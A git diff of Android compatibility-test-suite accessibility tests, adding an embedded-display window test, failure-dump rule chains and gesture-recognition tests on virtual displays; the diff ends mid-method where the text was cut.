+public class AccessibilityEmbeddedDisplayTest {
+    private static Instrumentation sInstrumentation;
+    private static UiAutomation sUiAutomation;
+
+    private EmbeddedDisplayParentActivity mActivity;
+    private EmbeddedDisplayActivity mEmbeddedDisplayActivity;
+    private ActivityView mActivityView;
+    private Context mContext;
+
+    private String mParentActivityTitle;
+    private String mActivityTitle;
+
+    private final ActivityTestRule<EmbeddedDisplayParentActivity> mActivityRule =
+            new ActivityTestRule<>(EmbeddedDisplayParentActivity.class, false, false);
+
+    private final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mDumpOnFailureRule);
+
+    @BeforeClass
+    public static void oneTimeSetup() {
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        sUiAutomation = sInstrumentation.getUiAutomation();
+    }
+
+    @AfterClass
+    public static void postTestTearDown() {
+        sUiAutomation.destroy();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = sInstrumentation.getContext();
+        assumeTrue(supportsMultiDisplay());
+
+        mParentActivityTitle = mContext.getString(
+                R.string.accessibility_embedded_display_test_parent_activity);
+        mActivityTitle = mContext.getString(R.string.accessibility_embedded_display_test_activity);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            mActivity = launchActivityAndWaitForItToBeOnscreen(
+                    sInstrumentation, sUiAutomation, mActivityRule);
+            mActivityView = mActivity.getActivityView();
+        });
+
+        launchActivityInActivityView();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mEmbeddedDisplayActivity = null;
+        if (mActivityView != null) {
+            SystemUtil.runWithShellPermissionIdentity(() -> mActivityView.release());
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testA11yWindowInfoHasCorrectLayer() {
+        final AccessibilityWindowInfo parentActivityWindow =
+                findWindowByTitle(sUiAutomation, mParentActivityTitle);
+        final AccessibilityWindowInfo activityWindow =
+                findWindowByTitle(sUiAutomation, mActivityTitle);
+
+        assertNotNull(parentActivityWindow);
+        assertNotNull(activityWindow);
+        assertTrue(parentActivityWindow.getLayer() > activityWindow.getLayer());
+    }
+
+    @Presubmit
+    @Test
+    public void testA11yWindowInfoAndA11yNodeInfoHasCorrectBoundsInScreen() {
+        final AccessibilityWindowInfo parentActivityWindow =
+                findWindowByTitle(sUiAutomation, mParentActivityTitle);
+        final AccessibilityWindowInfo activityWindow =
+                findWindowByTitle(sUiAutomation, mActivityTitle);
+        final AccessibilityNodeInfo button = findWindowByTitle(sUiAutomation,
+                mActivityTitle).getRoot().findAccessibilityNodeInfosByViewId(
+                "android.accessibilityservice.cts:id/button").get(0);
+
+        assertNotNull(parentActivityWindow);
+        assertNotNull(activityWindow);
+        assertNotNull(button);
+
+        final Rect parentActivityBound = new Rect();
+        final Rect activityBound = new Rect();
+        final Rect buttonBound = new Rect();
+        parentActivityWindow.getBoundsInScreen(parentActivityBound);
+        activityWindow.getBoundsInScreen(activityBound);
+        button.getBoundsInScreen(buttonBound);
+
+        assertTrue("parentActivityBound" + parentActivityBound.toShortString()
+                        + " doesn't contain activityBound" + activityBound.toShortString(),
+                parentActivityBound.contains(activityBound));
+        assertTrue("parentActivityBound" + parentActivityBound.toShortString()
+                        + " doesn't contain buttonBound" + buttonBound.toShortString(),
+                parentActivityBound.contains(buttonBound));
+    }
+
+    @Test
+    public void testA11yWindowNotifyWhenResizeWindowInActivityView() throws Exception {
+        testA11yWindowNotifyAfterResizeWindowInActivityView();
+    }
+
+    @Test
+    public void testA11yWindowNotifyWhenResizeWindowInActivityViewAfterServiceOffAndOn()
+            throws Exception {
+        // Clears window access flag to disable the A11y window tracking.
+        AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
+        info.flags &= ~AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+        sUiAutomation.setServiceInfo(info);
+
+        // Only needs to make sure the windows cannot be accessed for UiAutomation service
+        // because other A11y services had been disabled when calling the method, getUiAutomation().
+        assertTrue(sUiAutomation.getWindows().isEmpty());
+
+        // Sets window access flag to enable the A11y window tracking.
+        sUiAutomation.executeAndWaitForEvent(
+                () -> sInstrumentation.runOnMainSync(() -> {
+                    // Make sure we get window events, so we'll know when the window appears
+                    info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+                    sUiAutomation.setServiceInfo(info);
+                }),
+                filterWindowsChangeTypesAndWindowTitle(sUiAutomation, WINDOWS_CHANGE_ADDED,
+                        mActivityTitle),
+                DEFAULT_TIMEOUT_MS);
+
+        testA11yWindowNotifyAfterResizeWindowInActivityView();
+    }
+
+    private void testA11yWindowNotifyAfterResizeWindowInActivityView() throws Exception {
+        final AccessibilityWindowInfo oldActivityWindow =
+                findWindowByTitle(sUiAutomation, mActivityTitle);
+        final Rect activityBound = new Rect();
+        oldActivityWindow.getBoundsInScreen(activityBound);
+
+        final int width = activityBound.width() / 2;
+        final int height = activityBound.height() / 2;
+        sUiAutomation.executeAndWaitForEvent(() -> sInstrumentation.runOnMainSync(
+                () -> mEmbeddedDisplayActivity.getWindow().setLayout(width, height)),
+                filterWindowsChangeTypesAndWindowTitle(sUiAutomation, WINDOWS_CHANGE_BOUNDS,
+                        mActivityTitle),
+                DEFAULT_TIMEOUT_MS);
+
+        final AccessibilityWindowInfo newActivityWindow =
+                findWindowByTitle(sUiAutomation, mActivityTitle);
+        newActivityWindow.getBoundsInScreen(activityBound);
+
+        assertEquals(height, activityBound.height());
+        assertEquals(width, activityBound.width());
+    }
+
+    private void launchActivityInActivityView() throws Exception {
+        final Instrumentation.ActivityMonitor am = sInstrumentation.addMonitor(
+                EmbeddedDisplayActivity.class.getName(), null, false);
+        final Rect bounds = new Rect();
+        sUiAutomation.executeAndWaitForEvent(
+                () -> sInstrumentation.runOnMainSync(() -> {
+                    Intent intent = new Intent(mContext, EmbeddedDisplayActivity.class);
+                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    SystemUtil.runWithShellPermissionIdentity(
+                            () -> mActivityView.startActivity(intent));
+                }),
+                (event) -> {
+                    // Ensure the target activity is shown
+                    final AccessibilityWindowInfo window =
+                            findWindowByTitle(sUiAutomation, mActivityTitle);
+                    if (window == null) {
+                        return false;
+                    }
+                    window.getBoundsInScreen(bounds);
+                    return !bounds.isEmpty();
+                }, DEFAULT_TIMEOUT_MS);
+        mEmbeddedDisplayActivity = (EmbeddedDisplayActivity)
+                am.waitForActivityWithTimeout(DEFAULT_TIMEOUT_MS);
+        assertNotNull(mEmbeddedDisplayActivity);
+    }
+
+    private boolean supportsMultiDisplay() {
+        return mContext.getPackageManager().hasSystemFeature(
+                FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
+    }
+
+    public static class EmbeddedDisplayParentActivity extends Activity {
+        private ActivityView mActivityView;
+
+        @Override
+        public void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            mActivityView = new ActivityView(this);
+            setContentView(mActivityView);
+        }
+
+        ActivityView getActivityView() {
+            return mActivityView;
+        }
+    }
+
+    public static class EmbeddedDisplayActivity extends AccessibilityTestActivity {
+
+        @Override
+        public void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            setContentView(R.layout.accessibility_embedded_display_test);
+        }
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 60ef850..e9a0fe7 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -16,6 +16,7 @@
 
 package android.accessibilityservice.cts;
 
+import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithResource;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
@@ -45,6 +46,7 @@
 import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.verify;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
 import android.accessibility.cts.common.ShellCommandBuilder;
 import android.accessibilityservice.AccessibilityServiceInfo;
@@ -101,6 +103,7 @@
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 import java.util.Iterator;
@@ -131,10 +134,17 @@
 
     private AccessibilityEndToEndActivity mActivity;
 
-    @Rule
-    public ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
+    private ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityEndToEndActivity.class, false, false);
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mDumpOnFailureRule);
+
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
         sInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -502,8 +512,9 @@
     public void testInterrupt_notifiesService() {
         sInstrumentation
                 .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
-        InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
-                sInstrumentation, InstrumentedAccessibilityService.class);
+        InstrumentedAccessibilityService service =
+                enableService(InstrumentedAccessibilityService.class);
+
         try {
             assertFalse(service.wasOnInterruptCalled());
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
index 1db66a2..e36d1ee 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
@@ -14,7 +14,6 @@
 
 package android.accessibilityservice.cts;
 
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
 import static android.content.pm.PackageManager.FEATURE_FINGERPRINT;
 
 import static org.junit.Assert.assertFalse;
@@ -23,6 +22,8 @@
 import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.verify;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.FingerprintGestureController;
 import android.accessibilityservice.FingerprintGestureController.FingerprintGestureCallback;
 import android.accessibilityservice.cts.activities.AccessibilityEndToEndActivity;
@@ -35,10 +36,10 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
-import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 import org.mockito.Mock;
 import org.mockito.MockitoAnnotations;
@@ -57,10 +58,20 @@
     FingerprintGestureController mFingerprintGestureController;
     CancellationSignal mCancellationSignal = new CancellationSignal();
 
-    @Rule
-    public ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
+    private ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityEndToEndActivity.class, false, false);
 
+    private InstrumentedAccessibilityServiceTestRule<StubFingerprintGestureService> mServiceRule =
+            new InstrumentedAccessibilityServiceTestRule<>(StubFingerprintGestureService.class);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mServiceRule)
+            .around(mDumpOnFailureRule);
 
     @Mock FingerprintManager.AuthenticationCallback mMockAuthenticationCallback;
     @Mock FingerprintGestureCallback mMockFingerprintGestureCallback;
@@ -72,17 +83,11 @@
         mFingerprintManager = instrumentation.getContext().getPackageManager()
                 .hasSystemFeature(FEATURE_FINGERPRINT)
                 ? instrumentation.getContext().getSystemService(FingerprintManager.class) : null;
-        mFingerprintGestureService = StubFingerprintGestureService.enableSelf(instrumentation);
+        mFingerprintGestureService = mServiceRule.getService();
         mFingerprintGestureController =
                 mFingerprintGestureService.getFingerprintGestureController();
     }
 
-    @After
-    public void tearDown() throws Exception {
-        runIfNotNull(mFingerprintGestureService,
-                service -> service.runOnServiceSync(service::disableSelf));
-    }
-
     @Test
     public void testGestureDetectionListener_whenAuthenticationStartsAndStops_calledBack() {
         if (!mFingerprintGestureController.isGestureDetectionAvailable()) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index 43c12e9..b7ccc19 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -26,8 +26,8 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
-import android.accessibilityservice.cts.R;
 import android.accessibilityservice.cts.activities.AccessibilityFocusAndInputFocusSyncActivity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
@@ -46,6 +46,7 @@
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 import java.util.LinkedList;
@@ -65,10 +66,17 @@
 
     private AccessibilityFocusAndInputFocusSyncActivity mActivity;
 
-    @Rule
-    public ActivityTestRule<AccessibilityFocusAndInputFocusSyncActivity> mActivityRule =
+    private ActivityTestRule<AccessibilityFocusAndInputFocusSyncActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityFocusAndInputFocusSyncActivity.class, false, false);
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mDumpOnFailureRule);
+
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
         sInstrumentation = InstrumentationRegistry.getInstrumentation();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 24c00ff..2a2aa53 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -14,21 +14,29 @@
 
 package android.accessibilityservice.cts;
 
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.GestureUtils.click;
 import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
 import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
 import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
+import static android.accessibilityservice.cts.utils.DisplayUtils.VirtualDisplaySession;
+import static android.app.UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES;
 
 import static org.junit.Assert.assertEquals;
 import static org.mockito.Mockito.any;
 import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.verify;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
+import android.accessibilityservice.AccessibilityGestureEvent;
 import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.GestureDescription;
 import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.activities.AccessibilityWindowQueryActivity;
+import android.app.Activity;
 import android.app.Instrumentation;
+import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.Path;
@@ -36,15 +44,19 @@
 import android.graphics.PointF;
 import android.platform.test.annotations.AppModeFull;
 import android.util.DisplayMetrics;
+import android.view.Display;
 import android.view.WindowManager;
 import android.view.accessibility.AccessibilityEvent;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import org.junit.After;
+import org.junit.AfterClass;
 import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 import org.mockito.Mock;
 import org.mockito.MockitoAnnotations;
@@ -59,6 +71,21 @@
     private static final long GESTURE_DISPATCH_TIMEOUT_MS = 3000;
     private static final long EVENT_DISPATCH_TIMEOUT_MS = 3000;
 
+    private static Instrumentation sInstrumentation;
+    private static UiAutomation sUiAutomation;
+
+    private InstrumentedAccessibilityServiceTestRule<GestureDetectionStubAccessibilityService>
+            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    GestureDetectionStubAccessibilityService.class, false);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mServiceRule)
+            .around(mDumpOnFailureRule);
+
     // Test AccessibilityService that collects gestures.
     GestureDetectionStubAccessibilityService mService; 
     boolean mHasTouchScreen;
@@ -69,13 +96,23 @@
     PointF mTapLocation;
     @Mock AccessibilityService.GestureResultCallback mGestureDispatchCallback;
 
+    @BeforeClass
+    public static void oneTimeSetup() {
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        sUiAutomation = sInstrumentation.getUiAutomation(FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+    }
+
+    @AfterClass
+    public static void finalTearDown() {
+        sUiAutomation.destroy();
+    }
+
     @Before
     public void setUp() throws Exception {
         MockitoAnnotations.initMocks(this);
 
         // Check that device has a touch screen.
-        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        PackageManager pm = instrumentation.getContext().getPackageManager();
+        PackageManager pm = sInstrumentation.getContext().getPackageManager();
         mHasTouchScreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
         if (!mHasTouchScreen) {
@@ -84,7 +121,7 @@
 
         // Find screen size, check that it is big enough for gestures.
         // Gestures will start in the center of the screen, so we need enough horiz/vert space.
-        WindowManager windowManager = (WindowManager) instrumentation.getContext()
+        WindowManager windowManager = (WindowManager) sInstrumentation.getContext()
                 .getSystemService(Context.WINDOW_SERVICE);
         final DisplayMetrics metrics = new DisplayMetrics();
         windowManager.getDefaultDisplay().getRealMetrics(metrics);
@@ -97,15 +134,7 @@
             return;
         }
         // Start stub accessibility service.
-        mService = GestureDetectionStubAccessibilityService.enableSelf(instrumentation);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        if (!mHasTouchScreen || !mScreenBigEnough) {
-            return;
-        }
-        runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelf));
+        mService = mServiceRule.enableService();
     }
 
     @Test
@@ -142,27 +171,101 @@
         testPath(p(+0, +dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_DOWN_AND_UP);
     }
 
+    @Test
+    @AppModeFull
+    public void testRecognizeGesturePathOnVirtualDisplay() throws Exception {
+        if (!mHasTouchScreen || !mScreenBigEnough) {
+            return;
+        }
+
+        try (final VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
+            final int displayId = displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+                    sInstrumentation.getTargetContext(), false).getDisplayId();
+            // Launches an activity on virtual display to meet a real situation.
+            final Activity activity = launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(
+                    sInstrumentation, sUiAutomation, AccessibilityWindowQueryActivity.class,
+                    displayId);
+            // Compute gesture stroke lengths, in pixels.
+            final int dx = mStrokeLenPxX;
+            final int dy = mStrokeLenPxY;
+
+            try {
+                // Test recognizing various gestures.
+                testPath(p(-dx, +0), AccessibilityService.GESTURE_SWIPE_LEFT, displayId);
+                testPath(p(+dx, +0), AccessibilityService.GESTURE_SWIPE_RIGHT, displayId);
+                testPath(p(+0, -dy), AccessibilityService.GESTURE_SWIPE_UP, displayId);
+                testPath(p(+0, +dy), AccessibilityService.GESTURE_SWIPE_DOWN, displayId);
+
+                testPath(p(-dx, +0), p(+0, +0), AccessibilityService.GESTURE_SWIPE_LEFT_AND_RIGHT,
+                        displayId);
+                testPath(p(-dx, +0), p(-dx, -dy), AccessibilityService.GESTURE_SWIPE_LEFT_AND_UP,
+                        displayId);
+                testPath(p(-dx, +0), p(-dx, +dy), AccessibilityService.GESTURE_SWIPE_LEFT_AND_DOWN,
+                        displayId);
+
+                testPath(p(+dx, +0), p(+0, +0), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_LEFT,
+                        displayId);
+                testPath(p(+dx, +0), p(+dx, -dy), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_UP,
+                        displayId);
+                testPath(p(+dx, +0), p(+dx, +dy), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_DOWN,
+                        displayId);
+
+                testPath(p(+0, -dy), p(-dx, -dy), AccessibilityService.GESTURE_SWIPE_UP_AND_LEFT,
+                        displayId);
+                testPath(p(+0, -dy), p(+dx, -dy), AccessibilityService.GESTURE_SWIPE_UP_AND_RIGHT,
+                        displayId);
+                testPath(p(+0, -dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_UP_AND_DOWN,
+                        displayId);
+
+                testPath(p(+0, +dy), p(-dx, +dy), AccessibilityService.GESTURE_SWIPE_DOWN_AND_LEFT,
+                        displayId);
+                testPath(p(+0, +dy), p(+dx, +dy), AccessibilityService.GESTURE_SWIPE_DOWN_AND_RIGHT,
+                        displayId);
+                testPath(p(+0, +dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_DOWN_AND_UP,
+                        displayId);
+            } finally {
+                sInstrumentation.runOnMainSync(() -> {
+                    activity.finish();
+                });
+                sInstrumentation.waitForIdleSync();
+            }
+        }
+    }
+
     /** Convenient short alias to make a Point. */
     private static Point p(int x, int y) {
         return new Point(x, y);
     }
 
-    /** Test recognizing path from PATH_START to PATH_START+delta. */
+    /** Test recognizing path from PATH_START to PATH_START+delta on default display. */
     private void testPath(Point delta, int gestureId) {
-        testPath(delta, null, gestureId);
+        testPath(delta, null, gestureId, Display.DEFAULT_DISPLAY);
     }
 
-    /** Test recognizing path from PATH_START to PATH_START+delta1 to PATH_START+delta2. */
+    /** Test recognizing path from PATH_START to PATH_START+delta on specified display. */
+    private void testPath(Point delta, int gestureId, int displayId) {
+        testPath(delta, null, gestureId, displayId);
+    }
+    /** Test recognizing path from PATH_START to PATH_START+delta on default display. */
     private void testPath(Point delta1, Point delta2, int gestureId) {
+        testPath(delta1, delta2, gestureId, Display.DEFAULT_DISPLAY);
+    }
+
+    /**
+     * Test recognizing path from PATH_START to PATH_START+delta1 to PATH_START+delta2. on specified
+     * display.
+     */
+    private void testPath(Point delta1, Point delta2, int gestureId, int displayId) {
         // Create gesture motions.
         int numPathSegments = (delta2 == null) ? 1 : 2;
         long pathDurationMs = numPathSegments * STROKE_MS;
         GestureDescription gesture = new GestureDescription.Builder()
                 .addStroke(new StrokeDescription(
                 linePath(mCenter, delta1, delta2), 0, pathDurationMs, false))
+                .setDisplayId(displayId)
                 .build();
 
-        // Dispatch gesture motions.
+        // Dispatch gesture motions to specified  display with GestureDescription..
         // Use AccessibilityService.dispatchGesture() instead of Instrumentation.sendPointerSync()
         // because accessibility services read gesture events upstream from the point where
         // sendPointerSync() injects events.
@@ -173,9 +276,16 @@
                 .onCompleted(any());
 
         // Wait for gesture recognizer, and check recognized gesture.
-        mService.waitUntilGesture();
-        assertEquals(1, mService.getGesturesSize());
-        assertEquals(gestureId, mService.getGesture(0));
+        mService.waitUntilGestureInfo();
+        if(displayId == Display.DEFAULT_DISPLAY) {
+            assertEquals(1, mService.getGesturesSize());
+            assertEquals(gestureId, mService.getGesture(0));
+        }
+
+        AccessibilityGestureEvent expectedGestureEvent = new AccessibilityGestureEvent(gestureId,
+                displayId);
+        assertEquals(1, mService.getGestureInfoSize());
+        assertEquals(expectedGestureEvent.toString(), mService.getGestureInfo(0).toString());
     }
 
     /** Create a path from startPoint, moving by delta1, then delta2. (delta2 may be null.) */
@@ -196,25 +306,84 @@
             return;
         }
 
-        assertEventAfterGesture(swipe(),
+        assertEventAfterGesture(swipe(Display.DEFAULT_DISPLAY),
                 AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
                 AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
 
-        assertEventAfterGesture(tap(),
+        assertEventAfterGesture(tap(Display.DEFAULT_DISPLAY),
                 AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
                 AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START,
                 AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END,
                 AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
 
-        assertEventAfterGesture(doubleTap(),
+        assertEventAfterGesture(doubleTap(Display.DEFAULT_DISPLAY),
                 AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
                 AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
 
-        assertEventAfterGesture(doubleTapAndHold(),
+        assertEventAfterGesture(doubleTapAndHold(Display.DEFAULT_DISPLAY),
                 AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
                 AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
     }
 
+    @Test
+    @AppModeFull
+    public void testVerifyGestureTouchEventOnVirtualDisplay() throws Exception {
+        if (!mHasTouchScreen || !mScreenBigEnough) {
+            return;
+        }
+
+        try (final VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
+            final int displayId = displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+                    sInstrumentation.getTargetContext(),
+                    false).getDisplayId();
+
+            // Launches an activity on virtual display to meet a real situation.
+            final Activity activity = launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(
+                    sInstrumentation, sUiAutomation, AccessibilityWindowQueryActivity.class,
+                    displayId);
+            try {
+                assertEventAfterGesture(swipe(displayId),
+                        AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
+                        AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
+
+                assertEventAfterGesture(tap(displayId),
+                        AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
+                        AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                        AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                        AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
+
+                assertEventAfterGesture(doubleTap(displayId),
+                        AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
+                        AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
+
+                assertEventAfterGesture(doubleTapAndHold(displayId),
+                        AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
+                        AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
+            } finally {
+                sInstrumentation.runOnMainSync(() -> {
+                    activity.finish();
+                });
+                sInstrumentation.waitForIdleSync();
+            }
+        }
+    }
+
+    @Test
+    @AppModeFull
+    public void testDispatchGesture_privateDisplay_gestureCancelled() throws Exception{
+        try (final VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
+            final int displayId = displaySession.createDisplayWithDefaultDisplayMetricsAndWait
+                    (sInstrumentation.getTargetContext(),
+                            true).getDisplayId();
+            GestureDescription gesture = swipe(displayId);
+            mService.clearGestures();
+            mService.runOnServiceSync(() ->
+                    mService.dispatchGesture(gesture, mGestureDispatchCallback, null));
+            verify(mGestureDispatchCallback, timeout(GESTURE_DISPATCH_TIMEOUT_MS).atLeastOnce())
+                    .onCancelled(any());
+        }
+    }
+
     /** Test touch for accessibility events */
     private void assertEventAfterGesture(GestureDescription gesture, int... events) {
         mService.clearEvents();
@@ -226,40 +395,45 @@
         mService.waitUntilEvent(events.length);
         assertEquals(events.length, mService.getEventsSize());
         for (int i = 0; i < events.length; i++) {
-            assertEquals(events[i], mService.getEvent(i));
+            assertEquals(AccessibilityEvent.eventTypeToString(events[i]),
+                    AccessibilityEvent.eventTypeToString(mService.getEvent(i)));
         }
     }
 
-    private GestureDescription swipe() {
+    private GestureDescription swipe(int displayId) {
         GestureDescription.Builder builder = new GestureDescription.Builder();
         StrokeDescription swipe = new StrokeDescription(
                 linePath(mCenter, p(0, mStrokeLenPxY), null), 0, STROKE_MS, false);
         builder.addStroke(swipe);
+        builder.setDisplayId(displayId);
         return builder.build();
     }
 
-    private GestureDescription tap() {
+    private GestureDescription tap(int displayId) {
         GestureDescription.Builder builder = new GestureDescription.Builder();
         StrokeDescription tap = click(mTapLocation);
         builder.addStroke(tap);
+        builder.setDisplayId(displayId);
         return builder.build();
     }
 
-    private GestureDescription doubleTap() {
+    private GestureDescription doubleTap(int displayId) {
         GestureDescription.Builder builder = new GestureDescription.Builder();
         StrokeDescription tap1 = click(mTapLocation);
         StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, click(mTapLocation));
